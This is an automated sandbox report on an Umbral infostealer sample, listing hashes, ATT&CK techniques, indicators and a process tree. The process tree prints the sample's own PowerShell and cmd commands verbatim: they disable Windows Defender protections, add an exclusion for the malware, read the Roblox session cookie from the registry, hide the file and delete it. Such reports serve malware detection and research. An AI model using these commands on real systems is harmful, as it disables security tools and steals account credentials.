umbral | a90ab751bfb8cb4daee6dbb9a595c4af981c9792f245b87f821740fdf3ab28ce

Analysis

max time kernel
93s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
02-02-2025 12:08

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General

Target

restaddagethrowcorned.exe
Size

230KB
MD5

2523f6fce113a0b9e94bd66d8cf2966b
SHA1

076d32cb0f32d5df6a4dc538beb7796261b76ffc
SHA256

a90ab751bfb8cb4daee6dbb9a595c4af981c9792f245b87f821740fdf3ab28ce
SHA512

c71d6c35be27bc90cd525b156e9bb016dab578740fcce3357382b52a1e4b0e4c42d55dd57e313c1f1db285d481f4e6a6a871da389b6d4076897553856aaaf5d5
SSDEEP

6144:eloZM+rIkd8g+EtXHkv/iD4xfQtxoj8e1mdi:IoZtL+EP85gxoD

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/1376-0-0x000002540AD30000-0x000002540AD70000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3492	powershell.exe
1848	powershell.exe
1356	powershell.exe
3200	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	restaddagethrowcorned.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
27	discord.com
28	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4304	PING.EXE
3904	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4644	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4304	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1376	restaddagethrowcorned.exe
3200	powershell.exe
3200	powershell.exe
3492	powershell.exe
3492	powershell.exe
1848	powershell.exe
1848	powershell.exe
3560	powershell.exe
3560	powershell.exe
1356	powershell.exe
1356	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1376	restaddagethrowcorned.exe
Token: SeIncreaseQuotaPrivilege	1588	wmic.exe
Token: SeSecurityPrivilege	1588	wmic.exe
Token: SeTakeOwnershipPrivilege	1588	wmic.exe
Token: SeLoadDriverPrivilege	1588	wmic.exe
Token: SeSystemProfilePrivilege	1588	wmic.exe
Token: SeSystemtimePrivilege	1588	wmic.exe
Token: SeProfSingleProcessPrivilege	1588	wmic.exe
Token: SeIncBasePriorityPrivilege	1588	wmic.exe
Token: SeCreatePagefilePrivilege	1588	wmic.exe
Token: SeBackupPrivilege	1588	wmic.exe
Token: SeRestorePrivilege	1588	wmic.exe
Token: SeShutdownPrivilege	1588	wmic.exe
Token: SeDebugPrivilege	1588	wmic.exe
Token: SeSystemEnvironmentPrivilege	1588	wmic.exe
Token: SeRemoteShutdownPrivilege	1588	wmic.exe
Token: SeUndockPrivilege	1588	wmic.exe
Token: SeManageVolumePrivilege	1588	wmic.exe
Token: 33	1588	wmic.exe
Token: 34	1588	wmic.exe
Token: 35	1588	wmic.exe
Token: 36	1588	wmic.exe
Token: SeIncreaseQuotaPrivilege	1588	wmic.exe
Token: SeSecurityPrivilege	1588	wmic.exe
Token: SeTakeOwnershipPrivilege	1588	wmic.exe
Token: SeLoadDriverPrivilege	1588	wmic.exe
Token: SeSystemProfilePrivilege	1588	wmic.exe
Token: SeSystemtimePrivilege	1588	wmic.exe
Token: SeProfSingleProcessPrivilege	1588	wmic.exe
Token: SeIncBasePriorityPrivilege	1588	wmic.exe
Token: SeCreatePagefilePrivilege	1588	wmic.exe
Token: SeBackupPrivilege	1588	wmic.exe
Token: SeRestorePrivilege	1588	wmic.exe
Token: SeShutdownPrivilege	1588	wmic.exe
Token: SeDebugPrivilege	1588	wmic.exe
Token: SeSystemEnvironmentPrivilege	1588	wmic.exe
Token: SeRemoteShutdownPrivilege	1588	wmic.exe
Token: SeUndockPrivilege	1588	wmic.exe
Token: SeManageVolumePrivilege	1588	wmic.exe
Token: 33	1588	wmic.exe
Token: 34	1588	wmic.exe
Token: 35	1588	wmic.exe
Token: 36	1588	wmic.exe
Token: SeDebugPrivilege	3200	powershell.exe
Token: SeDebugPrivilege	3492	powershell.exe
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeDebugPrivilege	3560	powershell.exe
Token: SeIncreaseQuotaPrivilege	2856	wmic.exe
Token: SeSecurityPrivilege	2856	wmic.exe
Token: SeTakeOwnershipPrivilege	2856	wmic.exe
Token: SeLoadDriverPrivilege	2856	wmic.exe
Token: SeSystemProfilePrivilege	2856	wmic.exe
Token: SeSystemtimePrivilege	2856	wmic.exe
Token: SeProfSingleProcessPrivilege	2856	wmic.exe
Token: SeIncBasePriorityPrivilege	2856	wmic.exe
Token: SeCreatePagefilePrivilege	2856	wmic.exe
Token: SeBackupPrivilege	2856	wmic.exe
Token: SeRestorePrivilege	2856	wmic.exe
Token: SeShutdownPrivilege	2856	wmic.exe
Token: SeDebugPrivilege	2856	wmic.exe
Token: SeSystemEnvironmentPrivilege	2856	wmic.exe
Token: SeRemoteShutdownPrivilege	2856	wmic.exe
Token: SeUndockPrivilege	2856	wmic.exe
Token: SeManageVolumePrivilege	2856	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1376 wrote to memory of 1588	1376	restaddagethrowcorned.exe	86
PID 1376 wrote to memory of 1588	1376	restaddagethrowcorned.exe	86
PID 1376 wrote to memory of 2728	1376	restaddagethrowcorned.exe	91
PID 1376 wrote to memory of 2728	1376	restaddagethrowcorned.exe	91
PID 1376 wrote to memory of 3200	1376	restaddagethrowcorned.exe	93
PID 1376 wrote to memory of 3200	1376	restaddagethrowcorned.exe	93
PID 1376 wrote to memory of 3492	1376	restaddagethrowcorned.exe	96
PID 1376 wrote to memory of 3492	1376	restaddagethrowcorned.exe	96
PID 1376 wrote to memory of 1848	1376	restaddagethrowcorned.exe	98
PID 1376 wrote to memory of 1848	1376	restaddagethrowcorned.exe	98
PID 1376 wrote to memory of 3560	1376	restaddagethrowcorned.exe	100
PID 1376 wrote to memory of 3560	1376	restaddagethrowcorned.exe	100
PID 1376 wrote to memory of 2856	1376	restaddagethrowcorned.exe	103
PID 1376 wrote to memory of 2856	1376	restaddagethrowcorned.exe	103
PID 1376 wrote to memory of 2564	1376	restaddagethrowcorned.exe	105
PID 1376 wrote to memory of 2564	1376	restaddagethrowcorned.exe	105
PID 1376 wrote to memory of 400	1376	restaddagethrowcorned.exe	107
PID 1376 wrote to memory of 400	1376	restaddagethrowcorned.exe	107
PID 1376 wrote to memory of 1356	1376	restaddagethrowcorned.exe	109
PID 1376 wrote to memory of 1356	1376	restaddagethrowcorned.exe	109
PID 1376 wrote to memory of 4644	1376	restaddagethrowcorned.exe	111
PID 1376 wrote to memory of 4644	1376	restaddagethrowcorned.exe	111
PID 1376 wrote to memory of 3904	1376	restaddagethrowcorned.exe	114
PID 1376 wrote to memory of 3904	1376	restaddagethrowcorned.exe	114
PID 3904 wrote to memory of 4304	3904	cmd.exe	116
PID 3904 wrote to memory of 4304	3904	cmd.exe	116

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2728	attrib.exe

C:\Users\Admin\AppData\Local\Temp\restaddagethrowcorned.exe
"C:\Users\Admin\AppData\Local\Temp\restaddagethrowcorned.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1376
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1588
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\restaddagethrowcorned.exe"
  2⤵
  - Views/modifies file attributes
  PID:2728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\restaddagethrowcorned.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3560
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2856
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2564
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1356
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4644
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\restaddagethrowcorned.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3904
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
966914e2e771de7a4a57a95b6ecfa8a9

SHA1
7a32282fd51dd032967ed4d9a40cc57e265aeff2

SHA256
98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba

SHA512
dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
45ad40f012b09e141955482368549640

SHA1
3f9cd15875c1e397c3b2b5592805577ae88a96cb

SHA256
ea3b59172f1a33677f9cb3843fb4d6093b806d3a7cf2f3c6d4692f5421f656ce

SHA512
3de08f8affca1c1450088f560776cf3d65146cadac43c06eb922c7b3cea436e519966cf38458303ffeb1a58c53f8952cffda6c34216fda7594e014b516e83b33

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uixrhj4j.xu3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1376-71-0x0000025425410000-0x000002542541A000-memory.dmp

Filesize
40KB

Download
memory/1376-35-0x00000254253E0000-0x00000254253FE000-memory.dmp

Filesize
120KB

Download
memory/1376-90-0x00007FFA0BD00000-0x00007FFA0C7C1000-memory.dmp

Filesize
10.8MB

Download
memory/1376-72-0x00000254254D0000-0x00000254254E2000-memory.dmp

Filesize
72KB

Download
memory/1376-2-0x00007FFA0BD00000-0x00007FFA0C7C1000-memory.dmp

Filesize
10.8MB

Download
memory/1376-33-0x0000025425450000-0x00000254254C6000-memory.dmp

Filesize
472KB

Download
memory/1376-34-0x0000025425520000-0x0000025425570000-memory.dmp

Filesize
320KB

Download
memory/1376-0-0x000002540AD30000-0x000002540AD70000-memory.dmp

Filesize
256KB

Download
memory/1376-1-0x00007FFA0BD03000-0x00007FFA0BD05000-memory.dmp

Filesize
8KB

Download
memory/3200-15-0x00007FFA0BD00000-0x00007FFA0C7C1000-memory.dmp

Filesize
10.8MB

Download
memory/3200-14-0x00007FFA0BD00000-0x00007FFA0C7C1000-memory.dmp

Filesize
10.8MB

Download
memory/3200-3-0x00007FFA0BD00000-0x00007FFA0C7C1000-memory.dmp

Filesize
10.8MB

Download
memory/3200-13-0x00000218A0AD0000-0x00000218A0AF2000-memory.dmp

Filesize
136KB

Download
memory/3200-18-0x00007FFA0BD00000-0x00007FFA0C7C1000-memory.dmp

Filesize
10.8MB

Download